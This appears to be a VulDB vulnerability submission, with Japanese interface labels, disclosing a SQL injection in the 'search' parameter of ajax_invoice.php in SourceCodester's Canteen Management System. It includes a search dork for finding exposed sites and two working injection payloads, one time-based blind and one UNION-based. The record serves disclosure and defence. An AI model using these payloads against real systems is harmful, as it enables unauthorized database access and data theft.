| タイトル | Canteen Management System ajax_invoice.php sql injection |
|---|
| 説明 | inurl:ajax_invoice.php
Abstract:
Line 12 of ajax_invoice.php invokes a SQL query built with input that comes from an untrusted source. This call could allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.
Explanation:
SQL injection errors occur when:
1. Data enters a program from an untrusted source.
2. The data is used to dynamically construct a SQL query.
In this case, the data is passed to query() in ajax_invoice.php at line 12.
payload:
Parameter: search (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=111' AND (SELECT 4223 FROM (SELECT(SLEEP(5)))ZSei) AND 'losz'='losz
Type: UNION query
Title: Generic UNION query (NULL) - 18 columns
Payload: search=111' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7162767071,0x6f77615353725145624672616a4f4470785372484f4259796d744a776a5a48665065644b46467451,0x716b716271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
Download Code:
https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html |
|---|
| ソース | ⚠️ https://www.jianshu.com/p/bda61089bf1d |
|---|
| ユーザー | sanc (UID 36508) |
|---|
| 送信 | 2022年11月30日 05:05 (4 年 ago) |
|---|
| モデレーション | 2022年11月30日 06:45 (2 hours later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 214523 [SourceCodester Canteen Management System POST Request ajax_invoice.php query 検索 SQLインジェクション] |
|---|
| ポイント | 20 |
|---|